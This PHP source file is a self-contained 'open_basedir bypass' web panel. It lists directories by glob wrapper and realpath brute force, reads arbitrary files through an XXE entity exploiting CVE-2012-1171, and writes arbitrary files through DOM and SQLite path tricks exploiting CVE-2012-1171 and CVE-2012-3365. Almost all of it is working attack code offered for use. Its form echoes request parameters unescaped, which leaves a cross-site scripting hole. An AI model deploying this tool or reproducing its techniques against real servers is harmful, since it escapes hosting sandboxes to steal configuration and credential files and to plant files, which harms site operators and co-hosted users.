open_basedir_bypass

open_basedir_bypass.php

<?php
/*
  PHP open_basedir bypass collection
  Works with >= PHP5
  By /fd, @filedescriptor(https://twitter.com/filedescriptor)
*/

// Assistant functions
function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function fallback($classes) {
  foreach ($classes as $class) {
    $object = new $class;
    if ($object->isAvailable()) {
      return $object;
    }
  }
  return new NoExploit;
}

// Core classes
interface Exploitable {
  function isAvailable();
  function getDescription();
}

class NoExploit implements Exploitable {
  function isAvailable() {
    return true;
  }
  function getDescription() {
    return 'No exploit is available.';
  }
}

abstract class DirectoryLister implements Exploitable {
  var $currentPath;

  function isAvailable(){}
  function getDescription(){}
  function getFileList(){}
  function setCurrentPath($currentPath) {
    $this->currentPath = $currentPath;
  }
  function getCurrentPath() {
    return $this->currentPath;
  }
}

class GlobWrapperDirectoryLister extends DirectoryLister {
  function isAvailable() {
    return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers());
  }
  function getDescription() {
    return 'Directory listing via glob pattern';
  }
  function getFileList() {
    $file_list = array();
    // normal files
    $it = new DirectoryIterator("glob://{$this->getCurrentPath()}*");
    foreach($it as $f) {
        $file_list[] = $f->__toString();
    }
    // special files (starting with a dot(.))
    $it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*");
    foreach($it as $f) {
        $file_list[] = $f->__toString();
    }
    sort($file_list);
    return $file_list;
  }
}

class RealpathBruteForceDirectoryLister extends DirectoryLister {
  var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_'
    , $extension = array()
    , $charactersLength = 38
    , $maxlength  = 3
    , $fileList   = array();

  function isAvailable() {
    return ini_get('open_basedir') && function_exists('realpath');
  }
  function getDescription() {
    return 'Directory listing via brute force searching with realpath function.';
  }
  function setCharacters($characters) {
    $this->characters = $characters;
    $this->charactersLength = count($characters);
  }
  function setExtension($extension) {
    $this->extension = $extension;
  }
  function setMaxlength($maxlength) {
    $this->maxlength = $maxlength;
  }
  function getFileList() {
    set_time_limit(0);
    set_error_handler(array(__CLASS__, 'handler'));
    $number_set = array();
    while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) {
      $this->searchFile($number_set);
    }
    sort($this->fileList);
    return $this->fileList;
  }
  function nextCombination($number_set, $length) {
    if(!isset($number_set[$length])) {
      $number_set[$length] = 0;
      return $number_set;
    }
    if($number_set[$length] + 1 === $this->charactersLength) {
      $number_set[$length] = 0;
      $number_set = $this->nextCombination($number_set, $length + 1);
    } else {
      $number_set[$length]++;
    }
      return $number_set;
  }
  function searchFile($number_set) {
    $file_name = 'a';
    foreach ($number_set as $key => $value) {
      $file_name[$key] = $this->characters[$value];
    }
    // normal files
    realpath($this->getCurrentPath() . $file_name);
    // files with preceeding dot
    realpath($this->getCurrentPath() . '.' . $file_name);
    // files with extension
    foreach ($this->extension as $extension) {
      realpath($this->getCurrentPath() . $file_name . $extension);
    }
  }
  function handler($errno, $errstr, $errfile, $errline) {
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) $this->fileList[] = $matches[1];
  }
}

abstract class FileWriter implements Exploitable {
  var $filePath;

  function isAvailable(){}
  function getDescription(){}
  function write($content){}
  function setFilePath($filePath) {
    $this->filePath = $filePath;
  }
  function getFilePath() {
    return $this->filePath;
  }
}

abstract class FileReader implements Exploitable {
  var $filePath;

  function isAvailable(){}
  function getDescription(){}
  function read(){}
  function setFilePath($filePath) {
    $this->filePath = $filePath;
  }
  function getFilePath() {
    return $this->filePath;
  }
}

// Assistant class for DOMFileWriter & DOMFileReader
class StreamExploiter {
  var $mode, $filePath, $fileContent;

  function stream_close() {
    $doc = new DOMDocument;
    $doc->strictErrorChecking = false;
    switch ($this->mode) {
      case 'w':
        $doc->loadHTML($this->fileContent);
        $doc->removeChild($doc->firstChild);
        $doc->saveHTMLFile($this->filePath);
      break;
      default:
      case 'r':
        $doc->resolveExternals = true;
        $doc->substituteEntities = true;
        $doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE);
        echo $doc->documentElement->firstChild->nodeValue;
    }
  }
  function stream_open($path, $mode, $options, &$opened_path) {
    $this->filePath = substr($path, 10);
    $this->mode = $mode;
    return true;
  }
  public function stream_write($data){
    $this->fileContent = $data;
    return strlen($data);
  }
}

class DOMFileWriter extends FileWriter {
  function isAvailable() {
    return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
  }
  function getDescription() {
    return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.';
  }
  function write($content) {
    // set it to global resource in order to trigger RSHUTDOWN
    global $_DOM_exploit_resource;
    stream_wrapper_register('exploit', 'StreamExploiter');
    $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'w');
    fwrite($_DOM_exploit_resource, $content);
  }
}

class DOMFileReader extends FileReader {
  function isAvailable() {
    return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
  }
  function getDescription() {
    return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.';
  }
  function read() {
    // set it to global resource in order to trigger RSHUTDOWN
    global $_DOM_exploit_resource;
    stream_wrapper_register('exploit', 'StreamExploiter');
    $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'r');
  }
}

class SqliteFileWriter extends FileWriter {
  function isAvailable() {
    return is_writable(getcwd())
    && (extension_loaded('sqlite3') || extension_loaded('sqlite'))
    && (version_compare(phpversion(), '5.3.15', '<=') || (version_compare(phpversion(), '5.4.5', '<=') && PHP_MINOR_VERSION == 4));
  }
  function getDescription() {
    return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted';
  }
  function write($content) {
    $sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase';
    mkdir(':memory:');
    $payload_path = getRelativePath(getcwd() . '/:memory:', $this->getFilePath());
    $payload = str_replace('\'', '\'\'', $content);
    $database = new $sqlite_class(":memory:/{$payload_path}");
    $database->exec("CREATE TABLE foo (bar STRING)");
    $database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')");
    $database->close();
    rmdir(':memory:');
  }
}

// End of Core
?>
<?php
  $action         = isset($_GET['action']) ? $_GET['action'] : '';
  $cwd            = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd();
  $cwd            = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
  $directorLister = fallback(array('GlobWrapperDirectoryLister', 'RealpathBruteForceDirectoryLister'));
  $fileWriter     = fallback(array('DOMFileWriter', 'SqliteFileWriter'));
  $fileReader     = fallback(array('DOMFileReader'));
  $append         = '';
?>
<style>
#panel {
  height: 200px;
  overflow: hidden;
}
#panel > pre {
  margin: 0;
  height: 200px;
}
</style>
<div id="panel">
<pre id="dl">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go">
<?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?>
<?php
  $characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters;
  $maxlength  = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength;
  $append     = "&characters={$characters}&maxlength={$maxlength}";

  $directorLister->setMaxlength($maxlength);
?>
Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>">
Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>">
<?php endif; ?>
Description      : <strong><?php echo $directorLister->getDescription(); ?></strong>
</fieldset>
</form>
</pre>
<?php
  $file_path = isset($_GET['file_path']) ? $_GET['file_path'] : '';
?>
<pre id="rf">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read">
Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf">
</fieldset>
</form>
</pre>
<pre id="wf">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Write File :</legend>File Path   : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write">
File Content: <textarea cols="70" name="content"></textarea>
Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf">
</fieldset>
</form>
</pre>
</div>
<a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a>
<hr>
<pre>
<?php if ($action === 'rf'): ?>
<plaintext>
<?php
  $fileReader->setFilePath($file_path);
  echo $fileReader->read();
?>
<?php elseif ($action === 'wf'): ?>
<?php
  if (isset($_GET['content'])) {
    $fileWriter->setFilePath($file_path);
    $fileWriter->write($_GET['content']);
    echo 'The file should be written.';
  } else {
    echo 'Something goes wrong.';
  }
?>
<?php else: ?>
<ol>
<?php
  $directorLister->setCurrentPath($cwd);
  $file_list    = $directorLister->getFileList();
  $parent_path  = dirname($cwd);

  echo "<li><a href='?cwd={$parent_path}{$append}#dl'>Parent</a></li>";
  if (count($file_list) > 0) {
    foreach ($file_list as $file) {
      echo "<li><a href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li>";
    }
  } else {
    echo 'No files found. The path is probably not a directory.';
  }
?>
</ol>
<?php endif; ?>